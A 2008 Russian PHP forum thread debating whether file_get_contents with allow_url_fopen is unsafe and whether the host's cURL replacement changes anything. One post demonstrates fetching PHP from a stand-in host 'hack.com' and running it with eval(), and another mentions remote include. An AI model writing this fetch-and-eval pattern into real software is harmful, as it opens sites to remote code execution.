ФорумПрограммированиеPHP для идиотов → file_get_contents потенциально опасна?

file_get_contents потенциально опасна?

  • Ёлочник

    Сообщения: 25 Репутация: N Группа: Кто попало

    Spritz 29 апреля 2008 г. 11:38

    Привет.

    Один хостер сказал что загрузка страницы с внешнего хоста через file_get_contents у них отключена (allow_url_fopen=off), потому-что в этой странице может быть вредосный код.

    Каким образом там может быть вредосный код, если страница скачивается в строку и не выполняется? Или я не прав? Неужели может?

    В общем, их технари заменили эту фунцию следующим кодом:

    $url = "http://somesite.ru/export/news.html";
    $ch = curl_init();
    $timeout = 5; // set to zero for no timeout
    curl_setopt ($ch, CURLOPT_URL, $url);
    curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
    $file_contents = curl_exec($ch);
    curl_close($ch);


    В принципе я не против, но хочется узнать насколько это оправданно. И нужно ли избегать "file_get_contents" для внешних хостов?

    Один хостер оключает "allow_url_fopen", другой отключит "curl", как быть?
  • md5

    Сообщения: 11949 Репутация: N Группа: в ухо

    Spritz 29 апреля 2008 г. 14:06, спустя 2 часа 27 минут 47 секунд

    я не пойму, сейчас проблема найти хостера с allow_… и curl?
    все умрут, а я изумруд
  • Ёлочник

    Сообщения: 25 Репутация: N Группа: Кто попало

    Spritz 29 апреля 2008 г. 14:16, спустя 9 минут 52 секунды

    в данном случае хостинг мне выбирать не приходится, хостинг у заказчика свой.

    но вопрос не в хостинге совсем, а в том, действительно ли опасно использовать file_get_contents?
  • ghost

    Сообщения: 883 Репутация: N Группа: Джедаи

    Spritz 29 апреля 2008 г. 14:31, спустя 15 минут 44 секунды

    не, проблема разобраться с тем, как связанно с безопасностью.. посути так же как и регистр_глобалз.. - проблема не в настройке, а в скриптах, которые пишутся..
    с allow_url_fopen=on легче написать лажу :)
    хотя может я чего-нить непонимаю..
  • Ёлочник

    Сообщения: 25 Репутация: N Группа: Кто попало

    Spritz 29 апреля 2008 г. 17:14, спустя 2 часа 42 минуты 19 секунд


    проблема не в настройке, а в скриптах, которые пишутся..
    с allow_url_fopen=on легче написать лажу :)
    хотя может я чего-нить непонимаю..


    Претензии не к скрипту, а к тому, что страница с удаленного хоста может содержать вредоносный код. И каким образом она выполнится, это же не PHP-код?

    Теоретически, возможно удалённая страница вернёт мне PHP-код и может быть далее по коду я полученную строку выполню через eval().
    Вот только тут я вижу дыру, если это произойдёт, то жди беды. Но только в случае с curl я тоже получу такую же строку и произойдёт тоже самое!

    В общем, я не въезжаю. Или не знаю чего-то…

    Может есть какие-то другие причины отключения allow_url_fopen? (Напр. дополнительная нагрузка на серв?)
  • disc

    Сообщения: 843 Репутация: N Группа: Джедаи

    Spritz 29 апреля 2008 г. 17:26, спустя 12 минут 19 секунд

    php код удаленная страница вам не вернет, исключение если вы к примеру будете получать содержимое файла с раширением .phps, но даже это не являеться потенциальной опасностью, т.к. вы не будете этот код вызывать.
  • Ёлочник

    Сообщения: 25 Репутация: N Группа: Кто попало

    Spritz 29 апреля 2008 г. 18:33, спустя 1 час 7 минут 32 секунды


    php код удаленная страница вам не вернет, исключение если вы к примеру будете получать содержимое файла с раширением .phps, но даже это не являеться потенциальной опасностью, т.к. вы не будете этот код вызывать.


    например удалённая страница http:/hack.com/test.php
    <?php

    die("die('Сайт вломан!');");

    ?>


    Я загружаю её и выполняю:


    $content = file_get_contents('http:/hack.com/test.php');

    eval($content);


    И всё, сайт взломан. Только что попробовал – работает.

    Это самый безобидный пример, так можно сделать что угодно с сайтом, только ведь curl проблему не решает…
  • Timur

    Сообщения: 1068 Репутация: N Группа: Джедаи

    Spritz 30 апреля 2008 г. 0:39, спустя 6 часов 5 минут 48 секунд

    ну пропускать содержимое удаленного файла через eval, это ппц. Что за хостер, кстати (ну так, что бы другие знали и не пользовались :)?
  • mechanic

    Сообщения: 125 Репутация: N Группа: Кто попало

    Spritz 30 апреля 2008 г. 1:31, спустя 51 минуту 20 секунд

    вот развели.. если хостер такой умный, вот пусть и приведет реально работающий пример наступления 3.14здеца при использовании file_get_contents(), очень интересно..
    "в этой странице может быть вредоносный код"… а при получении страницы курлом, код исчезает.. гыгыгы
  • AlexB

    Сообщения: 4290 Репутация: N Группа: в ухо

    Spritz 30 апреля 2008 г. 2:19, спустя 48 минут 33 секунды


    Теоретически, возможно удалённая страница вернёт мне PHP-код и может быть далее по коду я полученную строку выполню через eval().
    Ты через file_get_contents, а кто-нить другой напишет include('http://…')
    И вообще, сколько лет работаю, ни разу не понадобилось тырить контент с чужих хостов.
    А на форуме, что не день такой вопрос возникает.
    Что-то не то в консерватории … :)))

  • ghost

    Сообщения: 883 Репутация: N Группа: Джедаи

    Spritz 30 апреля 2008 г. 13:29, спустя 11 часов 10 минут 12 секунд


    Претензии не к скрипту, а к тому, что страница с удаленного хоста может содержать вредоносный код. И каким образом она выполнится, это же не PHP-код?

    Теоретически, возможно удалённая страница вернёт мне PHP-код и может быть далее по коду я полученную строку выполню через eval().
    Вот только тут я вижу дыру, если это произойдёт, то жди беды. Но только в случае с curl я тоже получу такую же строку и произойдёт тоже самое!

    В общем, я не въезжаю. Или не знаю чего-то…

    Может есть какие-то другие причины отключения allow_url_fopen? (Напр. дополнительная нагрузка на серв?)


    не, доп нагрузка на серв тут непричем.. можно подумать над следующим - если этой ф-цией тырится контент, он сохраняется в каких-нить временных файлах?
    и то жеж самое по курле..

    а потому что было написано мной раньше - достаточно шаровых скриптов, имеющих уязвимости при allow_url_fopen=on
  • welder

    Сообщения: 2945 Репутация: N Группа: в ухо

    Spritz 30 апреля 2008 г. 16:44, спустя 3 часа 14 минут 19 секунд

    да просто админ фанат .. функция  опасна только тем что ты будеш чужой контент воровать а это накказуемо .. так что скажи ему  спасибоо =)

    а тут они каод сами вставили если чо вали всё на них ;)
  • ghost

    Сообщения: 883 Репутация: N Группа: Джедаи

    Spritz 30 апреля 2008 г. 17:03, спустя 19 минут 42 секунды

    угу.. фанат настолько, что сам написал код для курлы :)
  • Ёлочник

    Сообщения: 25 Репутация: N Группа: Кто попало

    Spritz 30 апреля 2008 г. 19:48, спустя 2 часа 44 минуты 15 секунд

    Спасибо всем ответившим, я теперь спокоен =)

    Timur, сам не знаю что за хостер, в Германии где-то находится, думаю вам не придётся с ним встретится.

    AlexB, welder, контент к счастью не ворую =) просто у заказчика много сайтов, на одном из его сайтов лежит постоянно обновляемый файл с новостями которые он вставляет во все свои сайты, и на этот его новый сайт нужно было вставить этот файл, я заморачиваться не стал и забрал с помощью file_get_contents :D

Пожалуйста, авторизуйтесь, чтобы написать комментарий!